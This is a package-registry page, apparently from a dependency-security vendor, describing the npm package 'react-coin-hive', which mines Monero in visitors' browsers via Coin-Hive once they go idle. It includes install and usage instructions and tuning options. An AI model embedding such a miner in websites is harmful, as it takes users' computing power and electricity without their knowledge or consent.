🚀 Big News: Socket Acquires Coana to Bring Reachability Analysis to Every Appsec Team.Learn more
Socket
Sign inDemoInstall
Socket

react-coin-hive

Package Overview
Dependencies
Maintainers
1
Versions
5
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-coin-hive

Mine cryptocurrency while your users haven’t engaged with your content lately

1.1.1
latest
Source
npm
Version published
Weekly downloads
7
16.67%
Maintainers
1
Weekly downloads
 
Created
Source

React Coin-Hive

Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.

This uses Coin-Hive to mine Monero (XMR).

Installation

npm install --save react-coin-hive

Usage

// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>

Props

  • siteKey: Your Coin-Hive Site Key.

  • timeout: How long before considering that the user is idle in milliseconds. Default is 30000.

  • userName: If used, the miner will be created with CoinHive.User(siteKey, userName). By default the miner is created with CoinHive.Anonymous(siteKey).

  • threads: The number of threads the miner should start with. Default is 2.

  • throttle: The fraction of time that threads should be idle. Default is 0.

  • onInit: A function that takes the miner instance as argument. It's called when the miner is created.

  • onStart: A function that takes the miner instance as argument. It's called every time the miner is started.

  • onStop: A function that takes the miner instance as argument. It's called every time the miner is stopped.

Disclaimer

I have nothing to do with coin-hive.com

Keywords

react-component

FAQs

Package last updated on 30 Sep 2017

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts